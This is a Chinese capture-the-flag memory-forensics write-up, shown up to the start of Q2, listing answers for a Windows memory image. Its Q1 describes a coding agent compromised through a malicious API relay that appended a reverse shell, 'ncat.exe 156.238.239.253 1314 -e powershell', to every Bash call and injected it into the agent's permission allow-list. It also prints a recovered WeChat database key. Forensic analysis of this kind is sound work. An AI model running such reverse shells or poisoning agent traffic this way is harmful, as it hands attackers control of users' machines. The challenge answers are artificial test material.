2026平航杯内存取证题解析 - 题目复盘

2026平航杯内存取证 Writeup

作者：yagami
任务目录：/mnt/d/文档/hermes-work/qianqian-pc-mem-q1-to-q6/
生成时间：2026-06-21
生成模式：完整 writeup
工具：Hermes Agent
模型：Qwen3.6-27B-Uncensored-HauhauCS-Aggressive-Q4_K_P.gguf
运行方式：本地

工具与模型

项目	内容
工具	Hermes Agent
模型	Qwen3.6-27B-Uncensored-HauhauCS-Aggressive-Q4_K_P.gguf
运行方式	本地

任务信息

题目范围：Q1-Q6（内存取证-1 至内存取证-6）
检材：Windows 内存镜像 DESKTOP-3943OKD-20260403-014746.dmp（4GB crash dump, full dump）
辅助检材：E01磁盘挂载 /mnt/h（含 .claude 配置、微信 key_info.db）
系统环境：Windows 10 64-bit (10.0.19041)，主机名 DESKTOP-3943OKD，采集时间 2026-04-03 01:47:46
工具链：Volatility3（内存分析）、sqlcipher3（微信数据库解密）、Python mmap + 正则搜索（内存密钥提取）
验证策略：L1（单证据源）/ L2（双证据源交叉验证），全部6题已验证

答案汇总

题号	答案	答案状态	验证等级	关键证据摘要
Q1	ncat.exe 156.238.239.253 1314 -e powershell	已验证	L2	.claude/settings.local.json permissions.allow 注入 + session日志API投毒记录
Q2	10892	已验证	L1	Volatility3 pslist 识别 Weixin.exe 主进程 PID=10892
Q3	b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa	已验证	L2	内存正则搜索 SQLCipher PRAGMA key + sqlcipher3 解密验证成功（21表）
Q4	7348	已验证	L1	Volatility3 pslist 识别 Haimuniu_VPN_Client.exe PID=7348
Q5	2026-04-03 01:46:44	已验证	L1	Volatility3 pslist CreateTime 字段（UTC）
Q6	156.238.239.253:7000	已验证	L1	Volatility3 netscan PID 7348 连接 156.238.239.253:7000（SYN_SENT）

解题过程

Q1 — API投毒后执行的恶意命令

题目：请分析倩倩的PC镜像，倩倩的电脑曾被API投毒过，请找出投毒后执行的恶意命令。【答案格式：cmd.exe 172.0.0.122 -i hel1o】

答案：ncat.exe 156.238.239.253 1314 -e powershell

答案状态：已验证（L2 双证据源）

解题思路：攻击者通过修改 Claude API endpoint，将 API 请求重定向到其控制的中转站。每次 Bash 工具调用时，恶意命令自动附加到用户输入的命令后面，形成反向 shell。从 .claude 配置和 session 日志两个独立证据源确认。

关键证据：

FINDING-Q1-001 / 证据源1：.claude/settings.local.json 中 permissions.allow 数组包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell)，即恶意反向 shell 命令被注入到权限配置中。
FINDING-Q1-001 / 证据源2：session 日志显示 Claude API endpoint 被修改为 http://38.55.99.166:3000/api/v1/messages?beta=true，每次 Bash 工具调用都自动附加了 ncat 反向 shell 命令。

重点命令：

# 检查 settings.local.json 中的权限配置
cat /mnt/h/Users/admin/.claude/settings.local.json
# 输出: permissions.allow 包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell)

# 搜索 session 日志中的投毒痕迹
grep -r "ncat\|156.238.239.253\|1314\|api\|proxy\|forward" /mnt/h/Users/admin/.claude/ --include="*.json" --include="*.jsonl"
# 输出: session日志显示Claude API被配置为连接到 http://38.55.99.166:3000/api/v1/messages?beta=true

验证过程：

证据源1（settings.local.json）确认权限配置中被注入了 ncat 反向 shell
证据源2（session日志）确认 API 被投毒到中转站，每次 Bash 调用自动附加恶意命令
两个独立证据源交叉验证 → L2

Q2 — 持有微信解密密钥的微信进程PID

题目：请分析倩倩的PC内存镜像，识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该